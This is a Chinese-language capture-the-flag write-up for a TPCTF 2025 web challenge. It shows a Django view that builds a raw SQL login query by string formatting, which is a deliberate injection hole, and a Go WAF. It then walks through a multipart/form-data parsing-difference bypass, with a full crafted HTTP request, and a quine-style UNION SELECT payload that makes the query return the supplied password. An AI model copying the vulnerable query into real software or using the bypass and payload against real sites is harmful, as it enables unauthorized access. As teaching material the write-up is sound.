# 從 django.shortcuts 模塊導入 render 函數,用于渲染模板
from django.shortcuts import render
# 從 django.db 模塊導入 connection 對象,用于數據庫連接
from django.db import connection# 此模塊用于創建視圖函數
# 從 django.http 模塊導入 HttpResponse 和 HttpRequest 類
from django.http import HttpResponse,HttpRequest
# 從當前應用的 models 模塊導入 AdminUser 和 Blog 模型
from .models import AdminUser,Blog
# 導入 os 模塊,用于與操作系統進行交互
import os# 定義一個名為 index 的視圖函數,接收一個 HttpRequest 對象作為參數
def index(request:HttpRequest):# 返回一個 HttpResponse 對象,內容為 'Welcome to TPCTF 2025'return HttpResponse('Welcome to TPCTF 2025')# 定義一個名為 flag 的視圖函數,接收一個 HttpRequest 對象作為參數
def flag(request:HttpRequest):# 檢查請求的方法是否不是 POSTif request.method != 'POST':# 如果不是 POST 請求,返回一個 HttpResponse 對象,內容為 'Welcome to TPCTF 2025'return HttpResponse('Welcome to TPCTF 2025')# 從 POST 請求中獲取名為 'username' 的參數值username = request.POST.get('username')# 檢查用戶名是否不是 'admin'if username != 'admin':# 如果用戶名不是 'admin',返回一個 HttpResponse 對象,內容為 'you are not admin.'return HttpResponse('you are not admin.')# 從 POST 請求中獲取名為 'password' 的參數值password = request.POST.get('password')# 使用原始 SQL 查詢從 blog_adminuser 表中篩選出用戶名和密碼匹配的用戶users:AdminUser = AdminUser.objects.raw("SELECT * FROM blog_adminuser WHERE username='%s' and password ='%s'" % (username,password))try:# 斷言用戶輸入的密碼與查詢結果中的第一個用戶的密碼相同assert password == users[0].password# 如果斷言成功,返回一個 HttpResponse 對象,內容為環境變量中 'FLAG' 的值return HttpResponse(os.environ.get('FLAG'))except:# 如果斷言失敗或出現異常,返回一個 HttpResponse 對象,內容為 'wrong password'return HttpResponse('wrong password')
服務器要求輸入的密碼與數據庫返回內容相同,且服務器存在waf
if r.Method == http.MethodPost { ct := r.Header.Get("Content-Type") mediaType, _, err := mime.ParseMediaType(ct) if err != nil { log.Printf("解析 Content-Type 失敗: %v", err) return true } if mediaType == "multipart/form-data" { if err := r.ParseMultipartForm(65535); err != nil { log.Printf("解析 POST 參數失敗: %v", err) return true } } else { if err := r.ParseForm(); err != nil { log.Printf("解析 POST 參數失敗: %v", err) return true } } for key, values := range r.PostForm { log.Printf("POST 參數 %s=%v", key, values) for _, value := range values { if sqlInjectionPattern.MatchString(value) { log.Printf("阻止 SQL 注入: POST 參數 %s=%s", key, value) return true } if rcePattern.MatchString(value) { log.Printf("阻止 RCE 攻擊: POST 參數 %s=%s", key, value) return true } if hotfixPattern.MatchString(value) { log.Printf("POST 參數 %s=%s", key, value) return true } } }
}
tips: 跨語言容易出現解析差異
multipart/form-data
multipart/form-data
是一種用于在 HTTP 請求中傳輸表單數據的編碼格式,特別適用于同時上傳文件和提交文本字段的場景。它的核心設計是通過分隔符(boundary
)將請求體分割為多個獨立的部分,每部分對應一個表單字段(如文本輸入或文件)。
為什么需要它?
- 支持文件上傳:傳統的
application/x-www-form-urlencoded
格式只能編碼簡單的鍵值對文本,而multipart/form-data
可以高效處理二進制文件(如圖片、視頻)。 - 混合數據類型:允許在一個請求中同時傳輸文本和文件。
- 避免數據混亂:通過唯一的分隔符(
boundary
)確保各部分數據不沖突。
格式結構
- HTTP 請求頭 中需指定:
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABC123
boundary
是一個隨機生成的字符串,用于分隔不同部分。
-
請求體示例:
----WebKitFormBoundaryABC123 Content-Disposition: form-data; name="username"Alice ----WebKitFormBoundaryABC123 Content-Disposition: form-data; name="avatar"; filename="photo.jpg" Content-Type: image/jpeg(這里是文件的二進制數據) ----WebKitFormBoundaryABC123--
- 每個字段由
boundary
分隔。 - 文本字段:
name
指定字段名,內容直接跟在空行后。 - 文件字段:需指定
filename
和Content-Type
(如image/jpeg
)。
- 每個字段由
tips: 有些時候multipart/form-data的鍵值可能被認為是post的鍵值
當我們發送
POST /flag/ HTTP/1.1
User-Agent: python-requests/2.32.3
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Host: 127.0.0.1:3592
Content-Length: 301
Content-Type: multipart/form-data; boundary=ba325d8a6c0000320059df30eab0bb5e--ba325d8a6c0000320059df30eab0bb5e
Content-Disposition: form-data; name="username"admin
--ba325d8a6c0000320059df30eab0bb5e
Content-Disposition: form-data; name="file"; filename="A5rZ.txt";name="
Content-Disposition: form-data; name="password";select
--ba325d8a6c0000320059df30eab0bb5e--
go 不會認為 password是一個參數, 但是django會認為他是一個參數
現在我們解決了waf,又如何使得輸入與輸出相等呢?
我們能找到這樣的有效負載,我們來看看原理是什么
1' union select 1,2,replace(replace('1" union select 1,2,replace(replace("#",char(34),char(39)),char(35),"#")-- ',char(34),char(39)),char(35),'1" union select 1,2,replace(replace("#",char(34),char(39)),char(35),"#")-- ')--
當有效負載被拼接到后端,他看起來應該是這樣的
blog_adminuser具有三列
SELECT * FROM blog_adminuser
WHERE username='admin' AND password='1'UNION SELECT 1,2,REPLACE(REPLACE('1" UNION SELECT 1,2,REPLACE(REPLACE("#",CHAR(34),CHAR(39)),CHAR(35),"#")-- ',CHAR(34),CHAR(39)),CHAR(35),'1" UNION SELECT 1,2,REPLACE(REPLACE("#",CHAR(34),CHAR(39)),CHAR(35),"#")-- ')
-- '
REPLACE(REPLACE('1" UNION SELECT 1,2,REPLACE(REPLACE("#",CHAR(34),CHAR(39)),CHAR(35),"#")-- ',CHAR(34),CHAR(39)),CHAR(35),'1" UNION SELECT 1,2,REPLACE(REPLACE("#",CHAR(34),CHAR(39)),CHAR(35),"#")-- ')
也就是
out = '1" UNION SELECT 1,2,REPLACE(REPLACE("#",CHAR(34),CHAR(39)),CHAR(35),"#")-- '.replace(chr(34),chr(39))
print(out)
out = out.replace(chr(35), """'1" UNION SELECT 1,2,REPLACE(REPLACE("#",CHAR(34),CHAR(39)),CHAR(35),"#")-- '""")
print(out)
1' UNION SELECT 1,2,REPLACE(REPLACE('#',CHAR(34),CHAR(39)),CHAR(35),'#')--
1' UNION SELECT 1,2,REPLACE(REPLACE(''1" UNION SELECT 1,2,REPLACE(REPLACE("#",CHAR(34),CHAR(39)),CHAR(35),"#")-- '',CHAR(34),CHAR(39)),CHAR(35),''1" UNION SELECT 1,2,REPLACE(REPLACE("#",CHAR(34),CHAR(39)),CHAR(35),"#")-- '')--
拓展 - Quine
Quine 程序是一種特殊的程序,其功能是輸出自身的源代碼,以下示例都會輸出自身
s = 's = %r\nprint(s%%s)'
print(s % s)
s = '''s = \'\'\'%s\'\'\'\\nart = \'\'\'%s\'\'\'\\nprint(s %% (s.replace(\'\\\\n\', \'\\\\\\\\n\').replace(\'\\\'\', \'\\\\\\\'\'), art)'''
art = r'''____ _ / ___| _ _ _ __ ___ (_)_ __ __ _ \___ \| | | | '_ \ / _ \| | '_ \ / _` |___) | |_| | | | | (_) | | | | | (_| ||____/ \__,_|_| |_|\___/|_|_| |_|\__, ||___/
Self-Replicating Code (Quine) v1.0
'''
print(s % (s.replace('\n', '\\n').replace('\'', '\\\''), art))
參考
https://blog.0xfff.team/posts/tpctf_2025_writeup